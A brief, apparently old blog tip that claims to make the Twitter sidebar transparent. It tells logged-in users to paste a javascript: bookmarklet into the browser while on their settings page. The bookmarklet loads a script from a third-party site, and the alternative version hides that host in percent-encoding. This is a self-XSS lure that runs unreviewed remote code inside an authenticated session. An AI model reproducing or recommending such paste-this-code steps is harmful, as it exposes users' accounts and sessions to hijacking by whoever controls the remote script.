Sidebar Twitter Transparant

How to make sidebar twitter transparant ?
let's follow this !

step 1 : you must to log in your account twitter
step 2 : open settings -> design
step 3: change your link (  http://twitter.com/settings/design ) with this code :
           javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http%3A%2F%2Fwww.justinparks.com%2Ftwitter%2Ftwitter-sidebar.js';void(0);

or new alternative code :

javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://%77%65%62%64%69%63%61%73%2E%6F%72%67/scripts/%74%77%69%74%74%65%72%2E%74%72%61%6E%73%70%61%72%65%6E%74%65%32%32%32%2E%6A%73';void(0);

( don't enter or go to that code, leave it there )

step 4 : save changes

*notes: if that fails try again until it works, because it's a little hard to succeed

WISH YOU LUCK !